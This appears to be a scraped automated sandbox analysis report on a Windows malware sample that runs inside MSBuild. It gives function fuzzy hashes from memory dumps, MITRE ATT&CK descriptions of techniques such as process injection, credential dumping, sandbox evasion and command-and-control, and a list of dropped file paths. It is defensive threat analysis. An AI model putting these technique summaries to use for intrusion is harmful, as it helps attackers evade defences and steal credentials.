Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91472a808e5e062f520367dc3a3b4ad4f8089a4f45ae4fa47f68119d692b136d
Instruction ID: 710ebab66ed0d830f0483cf832c014c395a24015667e9537b7e0c4e33cc4f0c1
Opcode Fuzzy Hash: 91472a808e5e062f520367dc3a3b4ad4f8089a4f45ae4fa47f68119d692b136d
Instruction Fuzzy Hash: 8AF0C0B085621ACFDB35DF21C858BAAB771BB47309F1014D9C10AB7190CB744A84DF59

Function 06D54F81 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24db67b7cb95dd28fb0b443514a800ddeb2b444ffb91757562466505af0349b8
Instruction ID: 0a99b599c0dd223dddff8cb8ad91f39422d7b7c46a01213ef8371e26667e7b34
Opcode Fuzzy Hash: 24db67b7cb95dd28fb0b443514a800ddeb2b444ffb91757562466505af0349b8
Instruction Fuzzy Hash: 80E0A570848209CFEF609BA4CD58BAABBF0AB45306F211459980673591C77489C4CE96

Function 06D53B50 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db363338104e52e720266adba94de9f0c03550ac6dbde50a65b8b075ed67815
Instruction ID: a325c6c07363ea195c7bf5603b3640bac18b40b92feb7daa7897c079c6901955
Opcode Fuzzy Hash: 7db363338104e52e720266adba94de9f0c03550ac6dbde50a65b8b075ed67815
Instruction Fuzzy Hash: 0DE06D70D002089FDB44FFB4E94869CBBF5EB44304F5086A9D804A3650EB741B55CB45

Function 00E6AFD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3911559825.0000000000E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e60000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddff0fe442687e1c1fc084be64f89835c7083e0886329e4067fd5514374d3f50
Instruction ID: 27a48ac11d5cc3610e3f3abf9670b5ece75d039fb701cb8d9e111e11d321283d
Opcode Fuzzy Hash: ddff0fe442687e1c1fc084be64f89835c7083e0886329e4067fd5514374d3f50
Instruction Fuzzy Hash: 3EE06570D01209EFD744EFB5F54968CB7F5AB45304F1081689414B3260EF705A84CB51

Function 07941FA1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8570acafae9f5b22ff965a9b07ffb887d0b20d45f641fbfde58cbe2fb3106628
Instruction ID: b92650a77f4bd45a9101a601b4ed459866794e8f92d41741cdcb79a4d638240d
Opcode Fuzzy Hash: 8570acafae9f5b22ff965a9b07ffb887d0b20d45f641fbfde58cbe2fb3106628
Instruction Fuzzy Hash: 1CE0DFB2D01308AFE7059F60A9186DCBBB1AB43321F0481F98804332A0E7740E49CA81

Function 06D5C489 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded01b6d18851c36dde6aff6d51384ad41bc612f28fbff2d5e76bae344577ab5
Instruction ID: 080f2878b697cbaf53efee7909587c46b40829f23dcab90860a9845462eb98c8
Opcode Fuzzy Hash: ded01b6d18851c36dde6aff6d51384ad41bc612f28fbff2d5e76bae344577ab5
Instruction Fuzzy Hash: 5BE0CD75D012086FE7549FA5A94F7EDBF799742305F00D1599C0423260EB300559C6D6

Function 06D513B0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da9c72e0c02274ebe8621f6df3cf01c2bb03469d7dda5ea0ed7c3a1c2fd8b66e
Instruction ID: f83ccd8f7ff1fd284922a40aade3015008c65621842cc145bba05436d2b398fc
Opcode Fuzzy Hash: da9c72e0c02274ebe8621f6df3cf01c2bb03469d7dda5ea0ed7c3a1c2fd8b66e
Instruction Fuzzy Hash: 97E0E5B4D00208EFDB44EFA9DA4969CBBF0AB48314F00C1A99818A3760EB385A44CF40

Function 06D5E088 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f3f34d138e97e692482aee868f48d4667fba4a67d54f7c12af63d9abcebca4
Instruction ID: ee085a0fd2fca259bfa2da534551005b62a8d87f4764bf7cec765df0aa6e85f3
Opcode Fuzzy Hash: 51f3f34d138e97e692482aee868f48d4667fba4a67d54f7c12af63d9abcebca4
Instruction Fuzzy Hash: 66E0C2316006048BE310BB78F81915A37A9EB85219F10022AE505B7744EFB9D99587C2

Function 06D54F7F Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17404a0f5c5ebe03497542a2c73e82acd61b384d278e3b58afe89fcd45c2c915
Instruction ID: a7c3954a7f6424a3089b587c1c565a97d09995d8477549b1ef8831e5ded2d636
Opcode Fuzzy Hash: 17404a0f5c5ebe03497542a2c73e82acd61b384d278e3b58afe89fcd45c2c915
Instruction Fuzzy Hash: 03E01A30844209CFEF70DB64CC9CBAEBBF0AB44306F211459C80273591C77049C4CE46

Function 0794E957 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1063c17e6918bece1197e99d0e309ee547f040d4cc52ec085f19dfb103768333
Instruction ID: 292fc8fee7e0de15ff5e8c4b567e228bde0423c86ac2a830726ef0c0f016989c
Opcode Fuzzy Hash: 1063c17e6918bece1197e99d0e309ee547f040d4cc52ec085f19dfb103768333
Instruction Fuzzy Hash: 22E08CB4D00105DBCF00CFA8D844BEDFBB1FF49324F180640D008B7681C330A8908B65

Function 07C57398 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3939159505.0000000007C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7c50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aab1c72b3baa969cf31d512e3d40df568cf7171d7c34caa386557e94dd9a032
Instruction ID: f9b239b5797b5596c239330bd19b10c0e10ab2a331f3fcf7afcb86b26975db47
Opcode Fuzzy Hash: 6aab1c72b3baa969cf31d512e3d40df568cf7171d7c34caa386557e94dd9a032
Instruction Fuzzy Hash: 67E046B0D40209DFC740EFB9C904A5EBBF0BF08210F1084B9C818E7211E7B086408F81

Function 06D5C498 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3936134817.0000000006D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6d50000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 063aad1e33a96c95b37b66de825db4d389a4e2de68c8fc7b28da1489b95e533d
Instruction ID: d88f8b235c064915efb81030f3fdfb7cc0749887d1ab91efca724e774634d187
Opcode Fuzzy Hash: 063aad1e33a96c95b37b66de825db4d389a4e2de68c8fc7b28da1489b95e533d
Instruction Fuzzy Hash: AED05E74C113089FEB44DFA6A94E6EDBAB4AB42305F10D1A9890423260DB700998C695

Function 07941FB0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3937891453.0000000007940000.00000040.00000800.00020000.00000000.sdmp, Offset: 07940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7940000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a8f5bb815dec0a3c3728a286995571e18cf8e81b5356c2b558931dd89bb7ed
Instruction ID: c66571b1246c193b23974a2bd534203678775a79e68db728d3da220afe8dc0c4
Opcode Fuzzy Hash: 88a8f5bb815dec0a3c3728a286995571e18cf8e81b5356c2b558931dd89bb7ed
Instruction Fuzzy Hash: 8FD012B0D012089FD704DFA5E9196DCBBB5AB43305F0082A9840473260EB740A49D755

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

C:\Users\user\AppData\Local\Temp\527e37c9

C:\Users\user\AppData\Local\Temp\5353bb38

C:\Users\user\AppData\Local\Temp\5d1ee590

C:\Users\user\AppData\Local\Temp\5db178aa

C:\Users\user\AppData\Local\Temp\61739b62

C:\Users\user\AppData\Local\Temp\62382b62

C:\Users\user\AppData\Local\Temp\d5087297

C:\Users\user\AppData\Local\Temp\d599b680

C:\Users\user\AppData\Local\Temp\kwvvjj

C:\Users\user\AppData\Local\Temp\pvrrwvlxy

C:\Users\user\AppData\Local\Temp\runenwwtdnpx

Windows Analysis Report
1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre